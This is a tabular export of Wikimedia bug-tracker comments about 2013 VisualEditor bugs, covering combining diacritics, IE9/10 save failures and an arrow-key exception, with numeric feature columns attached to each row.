241516,VisualEditor: Using Unicode Combining diacritics duplicates/replaces/adds unwanted characters,Related URL: https://gerrit.wikimedia.org/r/69814 (Gerrit Change If9c0860e2fe7b01eb0b27aae67c671062799a0fa),,,1371771158,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-3tfgena4tsev5hzwqh7g,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change If9c0860e2fe7b01eb0b27aae67c671062799a0fa)
241507,VisualEditor: Using Unicode Combining diacritics duplicates/replaces/adds unwanted characters,"Yes, this is still reproduceable on Chrome and Firefox on Ubuntu, Chrome, Firefox and Safari on OS X, Chrome, Firefox, IE on Windows 8.
The steps I tried on http://en.wikipedia.org/wiki/User:ESanders_(WMF)/Sandbox are :
- move cursor to end of ""ɛ́abcdef""
- type g
- press return
result: ""ɛ́abcdeff"" and new line instead of expected ""ɛ́abcdefg"" and new line.",,,1371444604,,PHID-USER-i5at67w766dqxs6ncxam,False,,,PHID-TASK-3tfgena4tsev5hzwqh7g,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,21.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,12.0,17.0,0.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,0.5844155844155844,"Yes, this is still reproduceable on Chrome and Firefox on Ubuntu, Chrome, Firefox and Safari on OS X, Chrome, Firefox, IE on Windows 8.
The steps I tried on URL are :
- move cursor to end of ""ɛ́abcdef""
- type g
- press return
result: ""ɛ́abcdeff"" and new line instead of expected ""ɛ́abcdefg"" and new line."
241497,VisualEditor: Using Unicode Combining diacritics duplicates/replaces/adds unwanted characters,"Denis, can you still reproduce (and if so, where and with what browser/system)?",,,1371162059,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3tfgena4tsev5hzwqh7g,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,5.0,5.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.35,0.9,"Denis, can you still reproduce (and if so, where and with what browser/system)?"
241488,VisualEditor: Using Unicode Combining diacritics duplicates/replaces/adds unwanted characters,"Can't reproduce in master or live, except for a bug where if I select all then paste an exception is thrown (but that is unrelated).


See:
http://en.wikipedia.org/wiki/User:ESanders_(WMF)/Sandbox",,,1371159350,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-3tfgena4tsev5hzwqh7g,task_subcomment,,True,c1,2,True,,,-3,,3.0,0.0,0.0,3.0,3.0,6.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,9.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,6.0,6.0,11.0,9.0,6.0,11.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.4,0.9714285714285714,"Can't reproduce in master or live, except for a bug where if I select all then paste an exception is thrown (but that is unrelated).


See:
URL"
241481,VisualEditor: Using Unicode Combining diacritics duplicates/replaces/adds unwanted characters,Reopening and assigning.,,,1371154520,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3tfgena4tsev5hzwqh7g,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,5.5,1.0,Reopening and assigning.
241477,VisualEditor: Using Unicode Combining diacritics duplicates/replaces/adds unwanted characters,"Yes this is still reproduceable on en.wikipedia.org or fr.wikipedia.org as well as www.mediawiki.org. I guess ""on the cluster everywhere as of yesterday"" means the bug 48630 is fixed so this is not a duplicate.
Or is there a specific place I should try to reproduce the bug on where this has been fixed?

Quickly looking at bug 48630 it seems the behaviour described here is different, although the solution to 48630 might fix this one, just not the current solution.

Furthermore there are other broken behaviours.
- In some situations the line following ""ɛ́"" would just be duplicated every unknown time interval until the input cursor is moved.
- If the ""ɛ́"" is in the middle of a line, some following characters are duplicated each interval with or without the combining diacritic on them.
- If inputing two base characters with each a combining character, an unexpected next line return is produce when finishing the sequence.
- When moving the cursor past the base character with the combining character, the cursor jumps to the next line even if there are still characters on the current (actually now previous) line.",,,1370582711,,PHID-USER-i5at67w766dqxs6ncxam,False,,,PHID-TASK-3tfgena4tsev5hzwqh7g,task_subcomment,,True,c1,2,False,,,-4,,1.6666666666666667,0.0,0.0,1.6666666666666667,0.6666666666666666,4.333333333333333,1.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,2.0,0.0,0.0,0.0,1.0,0.6666666666666666,0.0,7.0,9.666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,5.666666666666667,0.6666666666666666,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,1.0,0.0,0.6666666666666666,0.0,0.0,0.0,13.666666666666666,1.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,9.0,4.666666666666667,3.6666666666666665,3.0,1.0,12.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,1.3333333333333333,0.0,1.3333333333333333,9.666666666666666,1.3333333333333333,0.3333333333333333,2.0,0.0,1.3333333333333333,0.3333333333333333,1.3333333333333333,2.0,0.3333333333333333,3.6666666666666665,0.0,0.0,0.0,4.32160071029934,0.6787798072044647,"Yes this is still reproduceable on en.wikipedia.org or fr.wikipedia.org as well as www.mediawiki.org. I guess ""on the cluster everywhere as of yesterday"" means the bug 48630 is fixed so this is not a duplicate.
Or is there a specific place I should try to reproduce the bug on where this has been fixed?

Quickly looking at bug 48630 it seems the behaviour described here is different, although the solution to 48630 might fix this one, just not the current solution.

Furthermore there are other broken behaviours.
- In some situations the line following ""ɛ́"" would just be duplicated every unknown time interval until the input cursor is moved.
- If the ""ɛ́"" is in the middle of a line, some following characters are duplicated each interval with or without the combining diacritic on them.
- If inputing two base characters with each a combining character, an unexpected next line return is produce when finishing the sequence.
- When moving the cursor past the base character with the combining character, the cursor jumps to the next line even if there are still characters on the current (actually now previous) line."
241472,VisualEditor: Using Unicode Combining diacritics duplicates/replaces/adds unwanted characters,"This appears to be a duplicate of an already-fixed bug (bug 48630), which is live on the cluster everywhere as of yesterday. Can you reproduce this now, and if so, on what wiki? Support for graphemes like this is important for us, as you can imagine, and it's worrying to hear that it's not working?

*** This bug has been marked as a duplicate of bug 48630 ***",,,1370531722,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3tfgena4tsev5hzwqh7g,task_subcomment,,True,c1,2,True,,,-4,,0.0,0.0,0.0,1.0,1.0,2.0,3.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,2.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,1.0,13.0,2.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,6.0,17.0,0.0,2.0,0.0,0.0,6.0,0.0,2.0,3.0,1.0,2.0,0.0,0.0,0.0,3.3908045977011496,0.6551724137931034,"This appears to be a duplicate of an already-fixed bug (bug 48630), which is live on the cluster everywhere as of yesterday. Can you reproduce this now, and if so, on what wiki? Support for graphemes like this is important for us, as you can imagine, and it's worrying to hear that it's not working?

*** This bug has been marked as a duplicate of bug 48630 ***"
51187,VisualEditor: IE9/10 incompatibilities with saving process,"grey text, no diff appears after Review and save

Seen in IE9 and below, works OK in FF and Chrome: 

Make an edit with VE
Click Review and save

Page text is greyed out; no diff appears; Review and save button remains clickable; user cannot complete edit

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11329}",High,80.0,1370450340,1409960073.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-wgabwxsulvcboqwjus4t,task_description,resolved,True,c1,1,False,False,False,-4,,0.0,0.0,0.0,1.0,1.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,19.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,3.5697674418604652,0.5697674418604651,"grey text, no diff appears after Review and save

Seen in IE9 and below, works OK in FF and Chrome: 

Make an edit with VE
Click Review and save

Page text is greyed out; no diff appears; Review and save button remains clickable; user cannot complete edit

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11329}"
238982,VisualEditor: IE9/10 incompatibilities with saving process,This is working for me now: I saved https://www.mediawiki.org/w/index.php?title=User:Catrope%2FSandbox&diff=1137641&oldid=740030 in IE10.,,,1409958443,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-wgabwxsulvcboqwjus4t,task_subcomment,,True,c1,3,False,,,61,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,15.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,31.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,8.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,2.923076923076923,1.0,This is working for me now: I saved URL in IE10.
238977,VisualEditor: IE9/10 incompatibilities with saving process,*a user,,,1377104818,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-wgabwxsulvcboqwjus4t,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,*a user
238969,VisualEditor: IE9/10 incompatibilities with saving process,"An user reports:
<<I just got a Edit beta tab on The Adventure of the Reigate Squire, even though I'm in IE 10. What's weirder is that this is the only page where I've seen a VE tab. Also, I can't make any edits with it: I changed a few words in one sentence and added an edit summary, but the thing's just hanging there. I got a message of Warning: Your edit may have been corrupted – please review before saving. However, I've been unable to find anything corrupt, even though I reviewed everything that I'd done. Nothing of WP:EF came up, either. 2001:18E8:2:1020:202A:8DD6:6403:B77 (talk) 16:25, 21 August 2013 (UTC)

After several minutes of fruitless waiting, I gave up and reloaded the page. I then tried to add Category:Reigate and Banstead to the article (it's where the story is set), but after typing an edit summary of ""Add category"", I was forced to see that it's just been hanging there again. 2001:18E8:2:1020:202A:8DD6:6403:B77 (talk) 16:30, 21 August 2013 (UTC) >>

Is this due to some tests or deployment sanity checks? Thanks.",,,1377104779,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-wgabwxsulvcboqwjus4t,task_subcomment,,True,c1,3,False,,,7,,1.3333333333333333,0.6666666666666666,0.0,1.0,0.3333333333333333,2.6666666666666665,1.3333333333333333,0.0,0.6666666666666666,0.0,1.0,1.6666666666666667,0.0,0.3333333333333333,0.0,4.0,0.0,5.333333333333333,8.333333333333334,1.0,1.0,0.0,0.0,0.0,3.6666666666666665,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,4.333333333333333,1.3333333333333333,1.0,1.6666666666666667,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,11.333333333333334,0.3333333333333333,1.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,5.0,3.0,14.666666666666666,2.0,2.3333333333333335,6.333333333333333,0.0,0.0,0.0,0.0,3.0,0.3333333333333333,3.0,0.0,5.666666666666667,8.333333333333334,5.0,0.3333333333333333,0.6666666666666666,0.0,5.666666666666667,0.0,1.3333333333333333,2.3333333333333335,0.0,1.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,3.6166666666666667,0.7708333333333334,"An user reports:
<<I just got a Edit beta tab on The Adventure of the Reigate Squire, even though I'm in IE 10. What's weirder is that this is the only page where I've seen a VE tab. Also, I can't make any edits with it: I changed a few words in one sentence and added an edit summary, but the thing's just hanging there. I got a message of Warning: Your edit may have been corrupted – please review before saving. However, I've been unable to find anything corrupt, even though I reviewed everything that I'd done. Nothing of WP:EF came up, either. 2001:18E8:2:1020:202A:8DD6:6403:B77 (talk) 16:25, 21 August 2013 (UTC)

After several minutes of fruitless waiting, I gave up and reloaded the page. I then tried to add Category:Reigate and Banstead to the article (it's where the story is set), but after typing an edit summary of ""Add category"", I was forced to see that it's just been hanging there again. 2001:18E8:2:1020:202A:8DD6:6403:B77 (talk) 16:30, 21 August 2013 (UTC) >>

Is this due to some tests or deployment sanity checks? Thanks."
238962,VisualEditor: IE9/10 incompatibilities with saving process,*** Bug 50086 has been marked as a duplicate of this bug. ***,,,1372084871,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wgabwxsulvcboqwjus4t,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50086 has been marked as a duplicate of this bug. ***
238956,VisualEditor: IE9/10 incompatibilities with saving process,Relabelling; this is a blocker to IE9/10 use.,,,1372037486,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wgabwxsulvcboqwjus4t,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,3.8,1.0,Relabelling; this is a blocker to IE9/10 use.
238950,VisualEditor: IE9/10 incompatibilities with saving process,IE10 exhibits the same behaviour.,,,1372032122,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-wgabwxsulvcboqwjus4t,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.833333333333333,1.0,IE10 exhibits the same behaviour.
238944,VisualEditor: IE9/10 incompatibilities with saving process,Related URL: https://gerrit.wikimedia.org/r/70108 (Gerrit Change I2ee2e33c89cac58863c9911fc3ad250c72a46206),,,1372031261,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wgabwxsulvcboqwjus4t,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I2ee2e33c89cac58863c9911fc3ad250c72a46206)
238938,VisualEditor: IE9/10 incompatibilities with saving process,"I can consistently reproduce:

* Saving the page results in an uncaught exception ""Permissions denied"" originating from ve.bind -> $.proxy -> line ""proxy = function () { return fn.apply( ..""
  Presumably this is caused by IE9 (undocumented?) non-standard security model
  that rejects certain interaction between functions originating from different
  http requests (regardless of the origin, e.g. in this case they're both from
  load.php on the local wiki, no CDN involved)

* Generating a diff (""Review changes"") has a silent failure, no notification
  is emitted that allows us to hide the spinner or display an error message.",,,1372031200,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-wgabwxsulvcboqwjus4t,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,1.5,0.0,5.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,1.5,2.0,2.5,7.5,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,4.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,1.5,1.0,0.0,4.0,0.5,0.0,0.0,0.0,0.0,12.5,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,5.5,1.5,5.0,0.0,1.0,9.5,0.0,0.0,0.0,0.0,3.0,0.0,1.5,0.0,2.0,7.5,0.5,0.5,3.5,0.0,2.0,0.0,1.5,3.0,1.0,2.5,0.0,0.0,0.5,4.1993990384615385,0.8216346153846155,"I can consistently reproduce:

* Saving the page results in an uncaught exception ""Permissions denied"" originating from ve.bind -> $.proxy -> line ""proxy = function () { return fn.apply( ..""
  Presumably this is caused by IE9 (undocumented?) non-standard security model
  that rejects certain interaction between functions originating from different
  http requests (regardless of the origin, e.g. in this case they're both from
  load.php on the local wiki, no CDN involved)

* Generating a diff (""Review changes"") has a silent failure, no notification
  is emitted that allows us to hide the spinner or display an error message."
238933,VisualEditor: IE9/10 incompatibilities with saving process,IE8 and below aren't supported at all (and you shouldn't ever manage to get to use VE with them); assigning.,,,1370534281,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wgabwxsulvcboqwjus4t,task_subcomment,,True,c1,2,True,,,-4,,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,19.0,15.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,8.0,15.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,3.423076923076923,0.8846153846153846,IE8 and below aren't supported at all (and you shouldn't ever manage to get to use VE with them); assigning.
51091,VisualEditor: Arrow keying off end of throws an exception,"* Move cursor to start/end of document
* Press left (start) or right (end)
* An exception is thrown by handleLeftOrRightArrowKey

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1370295780,1370447615.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-b63g5k3ztoignbyr5s5w,task_description,resolved,True,c1,1,True,False,True,-4,,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,11.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.872340425531915,0.6170212765957447,"* Move cursor to start/end of document
* Press left (start) or right (end)
* An exception is thrown by handleLeftOrRightArrowKey

--------------------------
**Version**: unspecified
**Severity**: normal"
233462,VisualEditor: Arrow keying off end of throws an exception,Apparently fixed by gerrit 66322.,,,1370297945,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-b63g5k3ztoignbyr5s5w,task_subcomment,,True,c1,1,True,,,-4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.833333333333333,1.0,Apparently fixed by gerrit 66322.
50980,"VisualEditor: Attribute order preservation is hopeless, get rid of it","

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1369928220,1371207206.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-wynzwypqafg7laiqaomg,task_description,resolved,True,c1,1,False,False,True,-5,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,"

--------------------------
**Version**: unspecified
**Severity**: normal"
